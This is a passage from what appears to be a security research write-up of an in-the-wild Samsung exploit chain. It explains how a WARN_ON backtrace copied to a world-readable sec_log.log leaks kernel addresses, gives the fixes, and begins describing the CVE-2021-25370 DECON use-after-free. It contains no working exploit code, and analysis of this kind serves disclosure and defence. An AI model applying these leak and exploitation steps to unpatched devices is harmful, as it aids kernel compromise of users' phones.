<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>The </span><span class="vdnyYxSRCi-c2">bugreport</span><span> service in </span><span class="vdnyYxSRCi-c2">dumpstate.rc</span><span> is a Samsung-specific customization. The </span><span class="vdnyYxSRCi-c24"><a class="vdnyYxSRCi-c61" href="https://cs.android.com/android/platform/superproject/+/master:frameworks/native/cmds/dumpstate/dumpstate.rc;l=1?q=dumpstate.rc&sq=&ss=android%2Fplatform%2Fsuperproject">AOSP version of </a></span><span class="vdnyYxSRCi-c2 vdnyYxSRCi-c27"><a class="vdnyYxSRCi-c61" href="https://cs.android.com/android/platform/superproject/+/master:frameworks/native/cmds/dumpstate/dumpstate.rc;l=1?q=dumpstate.rc&sq=&ss=android%2Fplatform%2Fsuperproject">dumpstate.rc</a></span><span class="vdnyYxSRCi-c7"> doesn’t include this service.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>The Samsung version of the </span><span class="vdnyYxSRCi-c2">dumpstate</span><span> (</span><span class="vdnyYxSRCi-c2">/system/bin/dumpstate</span><span>) binary then copies everything from </span><span class="vdnyYxSRCi-c2">/proc/sec_log</span><span> to </span><span class="vdnyYxSRCi-c2">/data/log/</span><span class="vdnyYxSRCi-c2">sec_log</span><span class="vdnyYxSRCi-c2">.log</span><span> as shown in the pseudo-code below. This is the first few lines of the </span><span class="vdnyYxSRCi-c2">dumpstate()</span><span> function within the </span><span class="vdnyYxSRCi-c2">dumpstate</span><span> binary. The </span><span class="vdnyYxSRCi-c2">dump_sec_log</span><span class="vdnyYxSRCi-c7"> (symbols included within the binary) function copies everything from the path provided in argument two to the path provided in argument three.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p><a id="t.d1bbc0067f19bca88f96968d3c911e88cda5b376"></a><a id="t.12"></a><table class="vdnyYxSRCi-c23"><tr class="vdnyYxSRCi-c19"><td class="vdnyYxSRCi-c10" colspan="1" rowspan="1">
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> _ReadStatusReg</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">ARM64_SYSREG</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c13">3</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">3</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">13</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">0</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">2</span><span class="vdnyYxSRCi-c0">));</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> LOBYTE</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">s</span><span class="vdnyYxSRCi-c0">)</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">18</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> v650</span><span class="vdnyYxSRCi-c0">[</span><span class="vdnyYxSRCi-c13">0</span><span class="vdnyYxSRCi-c0">]</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">0LL</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> s_8 </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">17664LL</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">*(</span><span class="vdnyYxSRCi-c5">char</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">**)((</span><span class="vdnyYxSRCi-c5">char</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">*)&</span><span class="vdnyYxSRCi-c4">s </span><span class="vdnyYxSRCi-c0">+</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">1</span><span class="vdnyYxSRCi-c0">)</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">*(</span><span class="vdnyYxSRCi-c5">char</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">**)</span><span class="vdnyYxSRCi-c18">"DUMPSTATE"</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c12">DurationReporter</span><span class="vdnyYxSRCi-c0">::</span><span class="vdnyYxSRCi-c12">DurationReporter</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">v636</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">__int64</span><span class="vdnyYxSRCi-c0">)&</span><span class="vdnyYxSRCi-c4">s</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">0</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">if</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">((</span><span class="vdnyYxSRCi-c5">unsigned</span><span class="vdnyYxSRCi-c4"> __int8</span><span class="vdnyYxSRCi-c0">)</span><span class="vdnyYxSRCi-c4">s </span><span class="vdnyYxSRCi-c0">&</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">1</span><span class="vdnyYxSRCi-c0">)</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">!=</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">0</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">)</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">operator</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">delete</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">v650</span><span class="vdnyYxSRCi-c0">[</span><span class="vdnyYxSRCi-c13">0</span><span class="vdnyYxSRCi-c0">]);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> dump_sec_log</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">(</span><span class="vdnyYxSRCi-c18 vdnyYxSRCi-c9">"SEC LOG"</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">,</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> </span><span class="vdnyYxSRCi-c18 vdnyYxSRCi-c9">"/proc/sec_log"</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">,</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> </span><span class="vdnyYxSRCi-c18 vdnyYxSRCi-c9">"/data/log/sec_log.log"</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">);</span></p></td></tr></table>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>After starting the </span><span class="vdnyYxSRCi-c2">bugreport</span><span> service, the exploit uses </span><span class="vdnyYxSRCi-c24"><a class="vdnyYxSRCi-c61" href="https://man7.org/linux/man-pages/man7/inotify.7.html">inotify</a></span><span> to monitor for </span><span class="vdnyYxSRCi-c2">IN_CLOSE_WRITE</span><span> events in the </span><span class="vdnyYxSRCi-c2">/data/log/</span><span> directory. </span><span class="vdnyYxSRCi-c2">IN_CLOSE_WRITE</span><span> triggers when a file that was opened for writing is closed. So this watch will occur when </span><span class="vdnyYxSRCi-c2">dumpstate</span><span> is finished writing to </span><span class="vdnyYxSRCi-c2">sec_log.log</span><span>.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>An example of the </span><span class="vdnyYxSRCi-c2">sec_log.log</span><span> file contents generated after hitting the </span><span class="vdnyYxSRCi-c2">WARN_ON</span><span> statement is shown below. The exploit combs through the file contents looking for two values on the stack that are at address </span><span class="vdnyYxSRCi-c2">*b60</span><span> and </span><span class="vdnyYxSRCi-c2">*bc0</span><span>: the </span><span class="vdnyYxSRCi-c2">task_struct</span><span> and the </span><span class="vdnyYxSRCi-c2">sys_call_table</span><span class="vdnyYxSRCi-c7"> address.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p><a id="t.b661857298a41a556dd5123b1b902d7684a5d3bb"></a><a id="t.13"></a><table class="vdnyYxSRCi-c47"><tr class="vdnyYxSRCi-c19"><td class="vdnyYxSRCi-c48" colspan="1" rowspan="1">
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c3"><4>[90808.635627] [4: poc:25943] ------------[ cut here ]------------</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c3"><4>[90808.635654] [4: poc:25943] WARNING: CPU: 4 PID: 25943 at drivers/gpu/arm/b_r19p0/mali_kbase_vinstr.c:992 kbasep_vinstr_hwcnt_reader_ioctl+0x36c/0x664</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c3"><4>[90808.635663] [4: poc:25943] Modules linked in:</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c3"><4>[90808.635675] [4: poc:25943] CPU: 4 PID: 25943 Comm: poc Tainted: G W 4.14.113-20034833 #1</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c3"><4>[90808.635682] [4: poc:25943] Hardware name: Samsung BEYOND1LTE EUR OPEN 26 board based on EXYNOS9820 (DT)</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c3"><4>[90808.635689] [4: poc:25943] Call trace:</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c3"><4>[90808.635701] [4: poc:25943] [<0000000000000000>] dump_backtrace+0x0/0x280</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c3"><4>[90808.635710] [4: poc:25943] [<0000000000000000>] show_stack+0x18/0x24</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c3"><4>[90808.635720] [4: poc:25943] [<0000000000000000>] dump_stack+0xa8/0xe4</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c3"><4>[90808.635731] [4: poc:25943] [<0000000000000000>] __warn+0xbc/0x164tv</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c3"><4>[90808.635738] [4: poc:25943] [<0000000000000000>] report_bug+0x15c/0x19c</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c3"><4>[90808.635746] [4: poc:25943] [<0000000000000000>] bug_handler+0x30/0x8c</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c3"><4>[90808.635753] [4: poc:25943] [<0000000000000000>] brk_handler+0x94/0x150</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c3"><4>[90808.635760] [4: poc:25943] [<0000000000000000>] do_debug_exception+0xc8/0x164</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c3"><4>[90808.635766] [4: poc:25943] Exception stack(0xffffff8014c2bb40 to 0xffffff8014c2bc80)</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c3"><4>[90808.635775] [4: poc:25943] bb40: ffffffc91b00fa40 000000004004befe 0000000000000000 0000000000000000</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"><4>[90808.635781] [4: poc:25943] bb60: </span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">ffffffc061b65800</span><span class="vdnyYxSRCi-c3"> 000000000ecc0408 000000000000000a 000000000000000a</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c3"><4>[90808.635789] [4: poc:25943] bb80: 000000004004be30 000000000000be00 ffffffc86b49d700 000000000000000b</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c3"><4>[90808.635796] [4: poc:25943] bba0: ffffff8014c2bdd0 0000000080000000 0000000000000026 0000000000000026</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"><4>[90808.635802] [4: poc:25943] bbc0: </span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">ffffff8008429834</span><span class="vdnyYxSRCi-c3"> 000000000041bd50 0000000000000000 0000000000000000</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c3"><4>[90808.635809] [4: poc:25943] bbe0: ffffffc88b42d500 ffffffffffffffea ffffffc96bda5bc0 0000000000000004</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c3"><4>[90808.635816] [4: poc:25943] bc00: 0000000000000000 0000000000000124 000000000000001d ffffff8009293000</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c3"><4>[90808.635823] [4: poc:25943] bc20: ffffffc89bb6b180 ffffff8014c2bdf0 ffffff80084294bc ffffff8014c2bd80</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c3"><4>[90808.635829] [4: poc:25943] bc40: ffffff800885014c 0000000020400145 0000000000000008 0000000000000008</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c3"><4>[90808.635836] [4: poc:25943] bc60: 0000007fffffffff 0000000000000001 ffffff8014c2bdf0 ffffff800885014c</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"><4>[90808.635843] [4: poc:25943] [<0000000000000000>] el1_dbg+0x18/0x74</span></p></td></tr></table>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>The file </span><span class="vdnyYxSRCi-c2">/data/log/sec_log.log</span><span> has the SELinux context </span><span class="vdnyYxSRCi-c2">dumplog_data_file</span><span> which is widely accessible to many apps as shown below. The exploit is currently running within the </span><span class="vdnyYxSRCi-c2">SamsungTTS</span><span> app which is the </span><span class="vdnyYxSRCi-c2">system_app</span><span> SELinux context. While the exploit does not have access to </span><span class="vdnyYxSRCi-c2">/dev/kmsg</span><span> due to SELinux access controls, it can access the same contents when they are copied to the </span><span class="vdnyYxSRCi-c2">sec_log.log</span><span class="vdnyYxSRCi-c7"> which has more permissive access.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p><a id="t.f01b7aab76bb09bed75d19a610b808d720f8deb7"></a><a id="t.14"></a><table class="vdnyYxSRCi-c23"><tr class="vdnyYxSRCi-c19"><td class="vdnyYxSRCi-c10" colspan="1" rowspan="1">
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">$ sesearch </span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c4">A </span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c4">t dumplog_data_file </span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c4">c file </span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c4">p open precompiled_sepolicy </span><span class="vdnyYxSRCi-c0">|</span><span class="vdnyYxSRCi-c3"> grep _app</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow aasa_service_app dumplog_data_file</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">file </span><span class="vdnyYxSRCi-c0">{</span><span class="vdnyYxSRCi-c4"> getattr ioctl </span><span class="vdnyYxSRCi-c5">lock</span><span class="vdnyYxSRCi-c4"> map open read </span><span class="vdnyYxSRCi-c0">};</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow dualdar_app dumplog_data_file</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">file </span><span class="vdnyYxSRCi-c0">{</span><span class="vdnyYxSRCi-c4"> append create getattr ioctl </span><span class="vdnyYxSRCi-c5">lock</span><span class="vdnyYxSRCi-c4"> map open read rename setattr unlink write </span><span class="vdnyYxSRCi-c0">};</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow platform_app dumplog_data_file</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">file </span><span class="vdnyYxSRCi-c0">{</span><span class="vdnyYxSRCi-c4"> append create getattr ioctl </span><span class="vdnyYxSRCi-c5">lock</span><span class="vdnyYxSRCi-c4"> map open read rename setattr unlink write </span><span class="vdnyYxSRCi-c0">};</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow priv_app dumplog_data_file</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">file </span><span class="vdnyYxSRCi-c0">{</span><span class="vdnyYxSRCi-c4"> append create getattr ioctl </span><span class="vdnyYxSRCi-c5">lock</span><span class="vdnyYxSRCi-c4"> map open read rename setattr unlink write </span><span class="vdnyYxSRCi-c0">};</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">allow system_app dumplog_data_file</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">:</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">file </span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">{</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> append create getattr ioctl </span><span class="vdnyYxSRCi-c5 vdnyYxSRCi-c9">lock</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> map open read rename setattr unlink write </span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">};</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow teed_app dumplog_data_file</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">file </span><span class="vdnyYxSRCi-c0">{</span><span class="vdnyYxSRCi-c4"> append create getattr ioctl </span><span class="vdnyYxSRCi-c5">lock</span><span class="vdnyYxSRCi-c4"> map open read rename setattr unlink write </span><span class="vdnyYxSRCi-c0">};</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow vzwfiltered_untrusted_app dumplog_data_file</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">file </span><span class="vdnyYxSRCi-c0">{</span><span class="vdnyYxSRCi-c4"> getattr ioctl </span><span class="vdnyYxSRCi-c5">lock</span><span class="vdnyYxSRCi-c4"> map open read </span><span class="vdnyYxSRCi-c0">};</span></p></td></tr></table><h2 class="vdnyYxSRCi-c17 vdnyYxSRCi-c8" id="h.hmfvv1p1wpse"><span class="vdnyYxSRCi-c16">Fixing the vulnerability</span></h2>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span class="vdnyYxSRCi-c7">There were a few different changes to address this vulnerability:</span></p><ul style="padding: 0;" class="c36 lst-kix_hbruetvjkelf-0 start"><li style="margin-left: 46pt;" class="c1 c21 c8 li-bullet-0"><span>Modified the </span><span class="vdnyYxSRCi-c2">dumpstate</span><span> binary on the device – As of the March 2021 update, dumpstate no longer writes to </span><span class="vdnyYxSRCi-c2">/data/log/sec_log.log</span><span class="vdnyYxSRCi-c7">.</span></li><li style="margin-left: 46pt;" class="c1 c21 c8 li-bullet-0"><span>Removed the </span><span class="vdnyYxSRCi-c2">bugreport</span><span> service from </span><span class="vdnyYxSRCi-c2">dumpstate.rc</span><span class="vdnyYxSRCi-c7">.</span></li></ul>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span class="vdnyYxSRCi-c7">In addition there were a few changes made earlier in 2020 that when included would prevent this vulnerability in the future:</span></p><ul style="padding: 0;" class="c36 lst-kix_x9fpm1r5kf6m-0 start"><li style="margin-left: 46pt;" class="c1 c21 c8 li-bullet-0"><span>As mentioned above, in February 2020 ARM had released version r21p0 of the Mali driver which had replaced the </span><span class="vdnyYxSRCi-c2">WARN_ON</span><span> with the more appropriate </span><span class="vdnyYxSRCi-c2">pr_warn</span><span> which does not log a full backtrace. The March 2021 Samsung firmware included updating from version r19p0 of the Mali driver to r26p0 which used </span><span class="vdnyYxSRCi-c2">pr_warn</span><span> instead of </span><span class="vdnyYxSRCi-c2">WARN_ON</span><span class="vdnyYxSRCi-c7">.</span></li><li style="margin-left: 46pt;" class="c1 c21 c8 li-bullet-0"><span>In April 2020, </span><span class="vdnyYxSRCi-c24"><a class="vdnyYxSRCi-c61" href="https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/arch/arm64/kernel/traps.c?h=linux-4.14.y&id=6dc0256f802be6bc783fb9542affb48d267f592c">upstream Linux made a change</a></span><span class="vdnyYxSRCi-c7"> to no longer include raw stack contents in kernel backtraces.</span></li></ul>
<p class="c1 c8 c14 c39"><span class="vdnyYxSRCi-c7"></span></p><h1 class="vdnyYxSRCi-c28 vdnyYxSRCi-c8" id="h.9gyws0wgb00m"><span class="vdnyYxSRCi-c31">Vulnerability #3 - Arbitrary kernel read and write</span></h1>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>The final vulnerability in the chain (CVE-2021-25370) is a use-after-free of a file struct in the Display and Enhancement Controller (DECON) Samsung driver for the Display Processing Unit (DPU). According to the </span><span class="vdnyYxSRCi-c24"><a class="vdnyYxSRCi-c61" href="https://patchwork.kernel.org/project/dri-devel/patch/1417097460-18403-1-git-send-email-ajaykumar.rs@samsung.com/">upstream commit message</a></span><span class="vdnyYxSRCi-c7">, DECON is responsible for creating the video signals from pixel data. This vulnerability is used to gain arbitrary kernel read and write access. </span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span class="vdnyYxSRCi-c7"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDPl73oa-7g4YO-V5owrIWmBkxynQqdOD4lgWyubSEx7dg2BoS502R_3o4QZjFfP3gjwoEVNv7__hYBltjZuj5aIq22wdDPg8klVTrahHcwp-TxgHoOkeIerXdOUh2igwrLtPYFBlDqEJdaccmMuV88suhYn9v07QfM3b2NlHZ0zNCux84B4RojB-U/s1213/image1.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDPl73oa-7g4YO-V5owrIWmBkxynQqdOD4lgWyubSEx7dg2BoS502R_3o4QZjFfP3gjwoEVNv7__hYBltjZuj5aIq22wdDPg8klVTrahHcwp-TxgHoOkeIerXdOUh2igwrLtPYFBlDqEJdaccmMuV88suhYn9v07QfM3b2NlHZ0zNCux84B4RojB-U/s1200/image1.png" border="0" alt="Screenshot of the CVE-2021-25370 entry from Samsung's March 2021 security update. It reads: &quot;SVE-2021-19925 (CVE-2021-25370): Memory corruption in dpu driver Severity: Moderate Affected versions: O(8.x), P(9.0), Q(10.0), R(11.0) devices with selected Exynos chipsets Reported on: December 12, 2020 Disclosure status: Privately disclosed. An incorrect implementation handling file descriptor in dpu driver prior to SMR Mar-2021 Release 1 results in memory corruption leading to kernel panic. The patch fixes incorrect implementation in dpu driver to address memory corruption." style="max-height: 750px; max-width: 600px;"title="Screenshot of the CVE-2021-25370 entry from Samsung's March 2021 security update. It reads: &quot;SVE-2021-19925 (CVE-2021-25370): Memory corruption in dpu driver Severity: Moderate Affected versions: O(8.x), P(9.0), Q(10.0), R(11.0) devices with selected Exynos chipsets Reported on: December 12, 2020 Disclosure status: Privately disclosed. An incorrect implementation handling file descriptor in dpu driver prior to SMR Mar-2021 Release 1 results in memory corruption leading to kernel panic. The patch fixes incorrect implementation in dpu driver to address memory corruption." /></a></span></p><h2 class="vdnyYxSRCi-c8 vdnyYxSRCi-c17" id="h.ueqobjujvt37"><span class="vdnyYxSRCi-c16">Find the PID of android.hardware.graphics.composer</span></h2>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>To be able to trigger the vulnerability the exploit needs an fd for the driver in order to send ioctl calls. To find the fd, the exploit has to to iterate through the fd </span><span class="vdnyYxSRCi-c2">proc</span><span class="vdnyYxSRCi-c7"> directory for the target process. Therefore the exploit first needs to find the PID for the graphics process. </span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>The exploit connects to </span><span class="vdnyYxSRCi-c24"><a class="vdnyYxSRCi-c61" href="https://cs.android.com/android/platform/superproject/+/586af4e17de6b8bf665dc2a1bb61f46fddb326f7:system/logging/logd/main.cpp;l=256">LogReader which listens at</a></span><span> </span><span class="vdnyYxSRCi-c2">/dev/socket/logdr</span><span class="vdnyYxSRCi-c7">. When a client connects to LogReader, LogReader writes the log contents back to the client. The exploit then configures LogReader to send it logs for the main log buffer (0), system log buffer (3), and the crash log buffer (4) by writing back to LogReader via the socket:</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p><a id="t.ead3e3d8bb8dda4abd6611b15560f906e9e1ef80"></a><a id="t.15"></a><table class="vdnyYxSRCi-c23"><tr class="vdnyYxSRCi-c19"><td class="vdnyYxSRCi-c10" colspan="1" rowspan="1">
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">stream lids</span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c13">0</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c13">3</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c13">4</span></p></td></tr></table>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>The exploit then monitors the log contents until it sees the words ‘display’ or </span><span>‘SDM’</span><span class="vdnyYxSRCi-c7">. Once it finds a ‘display’ or ‘SDM’ log entry, the exploit then reads the PID from that log entry.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>Now it has the PID of android.hardware.graphics.composer, where </span><span class="vdnyYxSRCi-c24"><a class="vdnyYxSRCi-c61" href="https://source.android.com/docs/core/graphics/hwc">android.hardware.graphics composer is the Hardware Composer HAL</a></span><span class="vdnyYxSRCi-c7">.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
